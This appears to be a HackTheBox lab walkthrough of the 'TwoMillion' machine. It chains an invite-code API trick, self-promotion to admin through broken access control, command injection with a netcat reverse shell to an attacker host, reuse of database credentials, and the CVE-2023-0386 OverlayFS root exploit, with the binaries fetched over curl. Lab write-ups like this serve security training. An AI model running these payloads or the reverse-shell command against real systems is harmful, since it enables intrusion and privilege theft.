# TwoMillion Writeup - HackTheBox

> Exploit an invite code API flaw to register, abuse command injection in VPN generation, then leverage CVE-2023-0386 OverlayFS for root escalation.

- **URL:** https://hackindex.io/writeups/twomillion
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/twomillion
- **Tags:** command-injection, privilege-escalation, suid, kernel-exploit, cve-2023-0386
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 5 min read
- **Published:** 2026-02-23
- **Updated:** 2026-07-29

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
# 80/tcp open  http    nginx
# |_http-title: Did not follow redirect to http://2million.htb/
```

Add `2million.htb` to `/etc/hosts`. Port 80 redirects to the hostname ,  this is a nostalgic recreation of the original HackTheBox platform.

### Directory Enumeration

```bash
gobuster dir -u http://2million.htb -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -r --xl 1674
# /home       (Status: 200)
# /register   (Status: 200)
# /login      (Status: 200)
# /api        (Status: 401)
# /invite     (Status: 200)
```

`/register` redirects to `/invite` ,  registration requires an invite code. `/api` returns 401 unauthenticated.

## Initial Access

### Invite Code Generation

Browsing to `/invite` loads a form. The page source pulls in `/js/inviteapi.min.js`. The obfuscated JavaScript, when de-obfuscated and evaluated, reveals:

```javascript
function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) { console.log(response) },
        error: function(response) { console.log(response) }
    })
}
```

Call the endpoint:

```bash
curl -X POST http://2million.htb/api/v1/invite/how/to/generate
# {
#   "data": {
#     "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr",
#     "enctype": "ROT13"
#   }
# }
```

Decode the ROT13 string: `In order to generate the invite code, make a POST request to /api/v1/invite/generate`.

```bash
curl -X POST http://2million.htb/api/v1/invite/generate
# {"data": {"code": "TjBVU1YtM1ZPVTAtNTcyVU8tRTI0UjA=", "format": "encoded"}}
```

Base64-decode the code: `N0USV-3VOU0-572UO-E24R0`. Use it to register an account at `/register`, then log in.

### API Enumeration

With a valid session cookie, enumerate the API:

```bash
curl http://2million.htb/api/v1 --cookie "PHPSESSID=$PHPSESSID"
# {
#   "v1": {
#     "user": {
#       "GET": {
#         "/api/v1/user/vpn/generate": "Generate a new VPN configuration"
#       },
#       "POST": {
#         "/api/v1/user/register": "Register a new user",
#         "/api/v1/user/login": "Login with existing user"
#       }
#     },
#     "admin": {
#       "GET": {
#         "/api/v1/admin/auth": "Check if user is admin"
#       },
#       "POST": {
#         "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
#       },
#       "PUT": {
#         "/api/v1/admin/settings/update": "Update user settings"
#       }
#     }
#   }
# }
```

Three admin routes stand out: `PUT /api/v1/admin/settings/update` is interesting ,  it's a settings update endpoint that shouldn't be reachable by regular users.

### Broken Access Control ,  Self-Promotion to Admin

Test the PUT endpoint with the session cookie:

```bash
curl -i -X PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=$PHPSESSID" \
  -H 'Content-Type: application/json' \
  --data-raw '{}'
# {"status":"danger","message":"Missing parameter: email"}
#
```

The endpoint accepts the request ,  no admin check enforced. Probe for required parameters by adding them incrementally:

```bash
curl -i -X PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=$PHPSESSID" \
  -H 'Content-Type: application/json' \
  --data-raw '{"email":"$USER@test.com"}'
# {"status":"danger","message":"Missing parameter: is_admin"}
```

```bash
curl -i -X PUT http://2million.htb/api/v1/admin/settings/update \
  --cookie "PHPSESSID=$PHPSESSID" \
  -H 'Content-Type: application/json' \
  --data-raw '{"email":"$USER@test.com", "is_admin": 1}'
# {"id":20,"username":"$USER","is_admin":1}
```

The API promotes the account to admin without any server-side authorisation check.

### Command Injection in VPN Generator

With admin privileges, `POST /api/v1/admin/vpn/generate` is now accessible. It accepts a `username` parameter and generates an OpenVPN config. Test for command injection:

```bash
curl -X POST http://2million.htb/api/v1/admin/vpn/generate \
  --cookie "PHPSESSID=$PHPSESSID" \
  -H 'Content-Type: application/json' \
  --data '{"username": "$USER && busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash"}'
```

Start a listener first:

```bash
nc -lvnp $ATTACKER_PORT
```

Shell lands as `www-data`. Stabilise it:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

### Credential Discovery

The web root contains a `.env` file:

```bash
cat /var/www/html/.env
# DB_HOST=127.0.0.1
# DB_DATABASE=htb_prod
# DB_USERNAME=admin
# DB_PASSWORD=$ADMIN_PASSWORD
```

### SSH as admin

```bash
ssh admin@$TARGET_IP
```

The database password works for the system account directly.

## Privilege Escalation

### CVE-2023-0386 ,  OverlayFS FUSE Privilege Escalation

A mail tip in `/var/mail/admin` points toward the vulnerability:

```
Subject: Urgent: Patch System OS

Hey admin, [...] That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
```

The kernel version confirms exposure:

```bash
uname -r
# 5.15.70-051570-generic
#
```

CVE-2023-0386 is an OverlayFS vulnerability in Linux kernels before 6.2 that allows an unprivileged user to copy a SUID binary into an OverlayFS mount via FUSE, bypassing the normal restriction that strips SUID bits on copy. The result is a SUID-root binary writable and executable by the current user.

Clone and compile the PoC from [puckiestyle/CVE-2023-0386](https://github.com/puckiestyle/CVE-2023-0386) on your attacker machine. The repo requires two binaries: `fuse` and `exp`, plus a helper `gc`. Compile them:

```bash
# On attacker machine (Ubuntu 18.04 or matching environment)
docker run -it ubuntu:18.04 bash
apt update && apt install -y build-essential libdbus-1-dev pkg-config git
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make
```

Serve the binaries and transfer them to the target:

```bash
# On attacker machine
python3 -m http.server $ATTACKER_PORT
```

```bash
# On target
mkdir /tmp/test && cd /tmp/test
curl http://$ATTACKER_IP:$ATTACKER_PORT/fuse -o fuse
curl http://$ATTACKER_IP:$ATTACKER_PORT/gc -o gc
curl http://$ATTACKER_IP:$ATTACKER_PORT/exp -o exp
chmod +x fuse gc exp
```

Create the required directory structure and run `fuse` in the background to set up the FUSE filesystem mount:

```bash
mkdir ovlcap
./fuse ./ovlcap/lower ./gc &
# [+] len of gc: 0x3f38
# [+] readdir
# [+] getattr_callback
# /file
# [+] open_callback
# /file
# [+] read buf callback
# offset 0
# size 16384
# path /file
# [+] ioctl callback
# path /file
# cmd 0x80086601
```

Trigger the exploit:

```bash
./exp
# uid:1000 gid:1000
# [+] mount success
# total 8
# drwxrwxr-x 1 root   root     4096 Jan  9 20:37 .
# drwxrwxr-x 6 root   root     4096 Jan  9 20:37 ..
# -rwsrwxrwx 1 nobody nogroup 16184 Jan  1  1970 file
# [+] exploit success!
```

```bash
uname -r
# 5.15.70-051570-generic
#
```

Related
